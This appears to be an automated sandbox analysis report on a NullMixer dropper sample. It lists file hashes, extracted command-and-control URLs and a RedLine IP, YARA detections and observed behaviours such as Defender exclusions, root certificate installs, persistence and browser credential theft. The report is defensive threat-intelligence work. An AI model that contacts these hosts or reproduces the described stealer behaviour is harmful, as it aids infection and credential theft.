nullmixer | 799cb4b1d385475c155fae6fc0c214b059f191ed06b9229f287a8d9225ba8a21

Analysis

max time kernel
55s
max time network
150s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
07/10/2024, 07:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
setup_installer.exe
Size 4.3MB
Sample241007-jgeb9axflb
SHA256 44d025d67d73ae1215ba9483971bc5205afd91ef92cb2aed8410ab70e316e53e
MD5 0b75632bf041cac607b9a3043843c757
SHA1 c3bea64c98d7d9ee17b59302cc2463239cc292b1
SHA512 61a1cb63f4e5bef624f67ccc92d328e99bab8fed0ca079d507feec0c620c27974e551b9ee1a1a38a18b37f7d1407d72b808cd25b73dfb812240d972a558e4337
SSDEEP 98304:xpCvLUBsgaUwlNJ122nv5eO+VyC5aA80zK7qcL8ho1zIhBP:xCLUCgpwRNnBGwm07NYFhBP
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

nullmixer privateloader redline sectoprat socelars vidar build1 aspackv2 discovery dropper execution infostealer loader persistence rat spyware stealer trojan

Malware Config

Extracted

Family

nullmixer

http://znegs.xyz/

Extracted

Family

socelars

http://www.iyiqian.com/
http://www.xxhufdc.top/
http://www.uefhkice.xyz/
http://www.fcektsy.top/

Extracted

Family

redline

Botnet

Build1

45.142.213.135:30058

Signatures

NullMixer
NullMixer is a malware dropper leading to an infection chain of a wide variety of malware families.
dropper nullmixer
PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
loader privateloader
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 5 IoCs

resource	yara_rule
behavioral3/memory/2240-294-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline
behavioral3/memory/2240-291-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline
behavioral3/memory/2240-289-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline
behavioral3/memory/2240-297-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline
behavioral3/memory/2240-295-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline

SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 5 IoCs

resource	yara_rule
behavioral3/memory/2240-294-0x0000000000400000-0x000000000041E000-memory.dmp	family_sectoprat
behavioral3/memory/2240-291-0x0000000000400000-0x000000000041E000-memory.dmp	family_sectoprat
behavioral3/memory/2240-289-0x0000000000400000-0x000000000041E000-memory.dmp	family_sectoprat
behavioral3/memory/2240-297-0x0000000000400000-0x000000000041E000-memory.dmp	family_sectoprat
behavioral3/memory/2240-295-0x0000000000400000-0x000000000041E000-memory.dmp	family_sectoprat

Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars payload 4 IoCs

resource	yara_rule
behavioral3/files/0x000900000001683c-13.dat	family_socelars
behavioral3/files/0x0006000000016dcb-90.dat	family_socelars
behavioral3/memory/2608-241-0x0000000000400000-0x0000000000B33000-memory.dmp	family_socelars
behavioral3/memory/2608-264-0x0000000000400000-0x0000000000B33000-memory.dmp	family_socelars

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar

Vidar Stealer 1 IoCs

stealer

resource	yara_rule
behavioral3/memory/2348-263-0x0000000000400000-0x0000000002CC9000-memory.dmp	family_vidar

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2892	powershell.exe

ASPack v2.12-2.42 3 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral3/files/0x0007000000016578-34.dat	aspack_v212_v242
behavioral3/files/0x0008000000016106-29.dat	aspack_v212_v242
behavioral3/files/0x0008000000016141-26.dat	aspack_v212_v242

Executes dropped EXE 19 IoCs

pid	Process
2608	setup_install.exe
288	268b3127b936e01.exe
2368	21bcc8456d82.exe
2540	4a448bcddaa0b3.exe
2500	0fd5c77ed90f39d5.exe
2940	5298ab674.exe
2980	21bcc8456d82.exe
1288	28e2ddd2eed6.exe
584	b28b347be25f8ab8.exe
2348	4aa1e8b379159.exe
2376	8e14eeece3767.exe
1304	268b3127b936e0010.exe
2164	1cr.exe
1352	chrome2.exe
2072	setup.exe
2424	winnetdriv.exe
1288	services64.exe
2240	1cr.exe
2768	BUILD1~1.EXE

Loads dropped DLL 54 IoCs

pid	Process
2756	setup_installer.exe
2756	setup_installer.exe
2756	setup_installer.exe
2608	setup_install.exe
2608	setup_install.exe
2608	setup_install.exe
2608	setup_install.exe
2608	setup_install.exe
2608	setup_install.exe
2608	setup_install.exe
2608	setup_install.exe
1028	cmd.exe
288	268b3127b936e01.exe
288	268b3127b936e01.exe
1788	cmd.exe
648	cmd.exe
648	cmd.exe
2368	21bcc8456d82.exe
2368	21bcc8456d82.exe
2388	cmd.exe
2276	cmd.exe
2368	21bcc8456d82.exe
2688	cmd.exe
2688	cmd.exe
2796	cmd.exe
2520	cmd.exe
1288	28e2ddd2eed6.exe
1288	28e2ddd2eed6.exe
2940	5298ab674.exe
2940	5298ab674.exe
2820	cmd.exe
2980	21bcc8456d82.exe
2980	21bcc8456d82.exe
2348	4aa1e8b379159.exe
2348	4aa1e8b379159.exe
1776	cmd.exe
1776	cmd.exe
1304	268b3127b936e0010.exe
1304	268b3127b936e0010.exe
2164	1cr.exe
2164	1cr.exe
1288	28e2ddd2eed6.exe
1288	28e2ddd2eed6.exe
1348	WerFault.exe
1348	WerFault.exe
1348	WerFault.exe
2072	setup.exe
1348	WerFault.exe
1352	chrome2.exe
2164	1cr.exe
2240	1cr.exe
2240	1cr.exe
2768	BUILD1~1.EXE
2768	BUILD1~1.EXE

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	8e14eeece3767.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs

Web Service

T1102

flow	ioc
53	iplogger.org
54	iplogger.org
74	iplogger.org
75	iplogger.org
108	raw.githubusercontent.com
109	raw.githubusercontent.com
27	iplogger.org
28	iplogger.org

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ipinfo.io
3	ipinfo.io
7	api.db-ip.com
8	api.db-ip.com

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2164 set thread context of 2240	2164	1cr.exe	73

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\winnetdriv.exe	setup.exe
File created	C:\Windows\winnetdriv.exe	setup.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1348	2608	WerFault.exe	30

System Location Discovery: System Language Discovery 1 TTPs 29 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1cr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	21bcc8456d82.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4aa1e8b379159.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BUILD1~1.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	28e2ddd2eed6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5298ab674.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	268b3127b936e0010.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winnetdriv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup_install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	21bcc8456d82.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup_installer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	268b3127b936e01.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1cr.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	4aa1e8b379159.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	4aa1e8b379159.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2136	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 26 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{36A300E1-847F-11EF-A14F-CEBD2182E735} = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	5298ab674.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	5298ab674.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	4a448bcddaa0b3.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	4a448bcddaa0b3.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	4a448bcddaa0b3.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1800	schtasks.exe
1528	schtasks.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
2348	4aa1e8b379159.exe
2348	4aa1e8b379159.exe
2348	4aa1e8b379159.exe
2348	4aa1e8b379159.exe
1352	chrome2.exe
288	268b3127b936e01.exe
288	268b3127b936e01.exe
288	268b3127b936e01.exe
288	268b3127b936e01.exe
288	268b3127b936e01.exe
288	268b3127b936e01.exe
288	268b3127b936e01.exe
288	268b3127b936e01.exe
288	268b3127b936e01.exe
288	268b3127b936e01.exe
288	268b3127b936e01.exe
288	268b3127b936e01.exe
288	268b3127b936e01.exe
2892	powershell.exe

Suspicious use of AdjustPrivilegeToken 40 IoCs

description	pid	Process
Token: SeCreateTokenPrivilege	2940	5298ab674.exe
Token: SeAssignPrimaryTokenPrivilege	2940	5298ab674.exe
Token: SeLockMemoryPrivilege	2940	5298ab674.exe
Token: SeIncreaseQuotaPrivilege	2940	5298ab674.exe
Token: SeMachineAccountPrivilege	2940	5298ab674.exe
Token: SeTcbPrivilege	2940	5298ab674.exe
Token: SeSecurityPrivilege	2940	5298ab674.exe
Token: SeTakeOwnershipPrivilege	2940	5298ab674.exe
Token: SeLoadDriverPrivilege	2940	5298ab674.exe
Token: SeSystemProfilePrivilege	2940	5298ab674.exe
Token: SeSystemtimePrivilege	2940	5298ab674.exe
Token: SeProfSingleProcessPrivilege	2940	5298ab674.exe
Token: SeIncBasePriorityPrivilege	2940	5298ab674.exe
Token: SeCreatePagefilePrivilege	2940	5298ab674.exe
Token: SeCreatePermanentPrivilege	2940	5298ab674.exe
Token: SeBackupPrivilege	2940	5298ab674.exe
Token: SeRestorePrivilege	2940	5298ab674.exe
Token: SeShutdownPrivilege	2940	5298ab674.exe
Token: SeDebugPrivilege	2940	5298ab674.exe
Token: SeAuditPrivilege	2940	5298ab674.exe
Token: SeSystemEnvironmentPrivilege	2940	5298ab674.exe
Token: SeChangeNotifyPrivilege	2940	5298ab674.exe
Token: SeRemoteShutdownPrivilege	2940	5298ab674.exe
Token: SeUndockPrivilege	2940	5298ab674.exe
Token: SeSyncAgentPrivilege	2940	5298ab674.exe
Token: SeEnableDelegationPrivilege	2940	5298ab674.exe
Token: SeManageVolumePrivilege	2940	5298ab674.exe
Token: SeImpersonatePrivilege	2940	5298ab674.exe
Token: SeCreateGlobalPrivilege	2940	5298ab674.exe
Token: 31	2940	5298ab674.exe
Token: 32	2940	5298ab674.exe
Token: 33	2940	5298ab674.exe
Token: 34	2940	5298ab674.exe
Token: 35	2940	5298ab674.exe
Token: SeDebugPrivilege	2500	0fd5c77ed90f39d5.exe
Token: SeDebugPrivilege	2540	4a448bcddaa0b3.exe
Token: SeDebugPrivilege	2136	taskkill.exe
Token: SeDebugPrivilege	1352	chrome2.exe
Token: SeDebugPrivilege	2240	1cr.exe
Token: SeDebugPrivilege	2892	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1676	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1676	iexplore.exe
1676	iexplore.exe
1708	IEXPLORE.EXE
1708	IEXPLORE.EXE
1708	IEXPLORE.EXE
1708	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
